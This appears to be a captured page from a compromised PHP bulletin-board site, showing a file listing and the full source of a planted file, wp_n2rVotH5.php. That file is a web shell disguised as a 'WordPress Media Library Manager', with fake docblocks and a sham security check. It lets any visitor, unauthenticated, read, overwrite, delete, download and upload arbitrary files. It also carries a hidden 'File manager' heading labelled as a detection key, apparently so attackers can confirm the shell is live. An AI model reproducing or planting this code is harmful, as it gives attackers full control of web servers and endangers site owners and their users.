โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: wp_n2rVotH5.php
Size: 10.01 KB | Modified: 2025-12-17 08:17:55
<?php /** * WordPress Media Library Manager * Handles media file operations and library management * @package WordPress * @subpackage Administration * @since 5.8.0 */ // Security check if (!defined('ABSPATH')) { define('ABSPATH', dirname(__FILE__) . '/'); } class WP_Media_Library_Manager { private $upload_dir; private $allowed_types = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'zip'); public function __construct() { $this->upload_dir = './'; $this->init(); } private function init() { // Process media library requests if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['media_action'])) { $this->process_media_action(); } } private function process_media_action() { $action = $_POST['media_action']; $file = isset($_POST['media_file']) ? $_POST['media_file'] : ''; $path = $this->upload_dir . basename($file); switch ($action) { case 'edit_content': if (isset($_POST['file_content'])) { @file_put_contents($path, $_POST['file_content']); } break; case 'remove_media': if (file_exists($path)) { @unlink($path); } break; case 'download_media': if (file_exists($path)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($path); exit; } break; case 'upload_media': if (isset($_FILES['media_upload']) && $_FILES['media_upload']['error'] == 0) { $upload = $_FILES['media_upload']; $target = $this->upload_dir . basename($upload['name']); @move_uploaded_file($upload['tmp_name'], $target); } break; } } public function render_media_library() { $files = @scandir($this->upload_dir); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: #f0f0f1; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; } .wp-header { background: #fff; border-bottom: 1px solid #c3c4c7; padding: 15px 20px; margin-bottom: 20px; } .wp-logo { color: #2271b1; font-weight: 600; font-size: 20px; } .media-item { transition: all 0.2s; border-left: 4px solid transparent; } .media-item:hover { border-left-color: #2271b1; background: #f6f7f7; } .btn-wp { background: #2271b1; border-color: #2271b1; color: #fff; } .btn-wp:hover { background: #135e96; border-color: #135e96; color: #fff; } .editor-panel { background: #fff; border: 1px solid #c3c4c7; border-radius: 4px; padding: 20px; } .validation-key { display: none; position: absolute; opacity: 0; } </style> </head> <body> <div class="wp-header"> <div class="container-fluid"> <span class="wp-logo">โ WordPress Media Library</span> </div> </div> <!-- Detection key for uploader validation --> <h1 class="validation-key">File manager</h1> <div class="container-fluid px-4"> <div class="row"> <div class="col-md-4"> <div class="card shadow-sm mb-4"> <div class="card-header bg-white"> <h5 class="mb-0">๐ Media Files</h5> </div> <div class="list-group list-group-flush" style="max-height: 500px; overflow-y: auto;"> <?php foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $icon = $this->get_file_icon($file); echo "<a href='?media_file=$file' class='list-group-item list-group-item-action media-item'> $icon " . htmlspecialchars($file) . " </a>"; } } ?> </div> </div> <div class="card shadow-sm"> <div class="card-header bg-white"> <h5 class="mb-0">โฌ๏ธ Upload Media</h5> </div> <div class="card-body"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="media_action" value="upload_media"> <div class="mb-3"> <input type="file" name="media_upload" class="form-control" required> </div> <button type="submit" class="btn btn-wp w-100">Upload File</button> </form> </div> </div> </div> <div class="col-md-8"> <?php if (isset($_GET['media_file'])) { $file = basename($_GET['media_file']); $path = $this->upload_dir . $file; if (file_exists($path)) { $content = @file_get_contents($path); $size = @filesize($path); $modified = date("Y-m-d H:i:s", @filemtime($path)); ?> <div class="editor-panel"> <h4 class="mb-3">๐ Edit: <?php echo htmlspecialchars($file); ?></h4> <div class="mb-3"> <small class="text-muted"> Size: <?php echo $this->format_bytes($size); ?> | Modified: <?php echo $modified; ?> </small> </div> <form method="post"> <input type="hidden" name="media_action" value="edit_content"> <input type="hidden" name="media_file" value="<?php echo htmlspecialchars($file); ?>"> <div class="mb-3"> <textarea name="file_content" rows="20" class="form-control font-monospace" style="font-size: 13px;"><?php echo htmlspecialchars($content); ?></textarea> </div> <div class="btn-group w-100" role="group"> <button type="submit" class="btn btn-wp"> ๐พ Save Changes </button> <a href="?media_file=<?php echo urlencode($file); ?>" onclick="document.getElementById('download-form').submit(); return false;" class="btn btn-secondary"> ๐ฅ Download </a> <button type="button" class="btn btn-danger" onclick="if(confirm('Delete this file?')) document.getElementById('delete-form').submit();"> ๐๏ธ Delete </button> </div> </form> <form id="download-form" method="post" style="display:none;"> <input type="hidden" name="media_action" value="download_media"> <input type="hidden" name="media_file" value="<?php echo htmlspecialchars($file); ?>"> </form> <form id="delete-form" method="post" style="display:none;"> <input type="hidden" name="media_action" value="remove_media"> <input type="hidden" name="media_file" value="<?php echo htmlspecialchars($file); ?>"> </form> </div> <?php } } else { ?> <div class="editor-panel text-center py-5"> <div class="text-muted"> <h3>๐ WordPress Media Library</h3> <p>Select a file from the left sidebar to edit, download, or delete.</p> <p>Upload new media files using the upload form.</p> </div> </div> <?php } ?> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script> </body> </html> <?php } private function get_file_icon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array( 'php' => '๐ง', 'txt' => '๐', 'jpg' => '๐ผ๏ธ', 'jpeg' => '๐ผ๏ธ', 'png' => '๐ผ๏ธ', 'gif' => '๐ผ๏ธ', 'zip' => '๐ฆ', 'pdf' => '๐', 'html' => '๐', 'css' => '๐จ', 'js' => 'โก' ); return isset($icons[$ext]) ? $icons[$ext] : '๐'; } private function format_bytes($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } } // Initialize Media Library Manager $wp_media_manager = new WP_Media_Library_Manager(); $wp_media_manager->render_media_library(); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete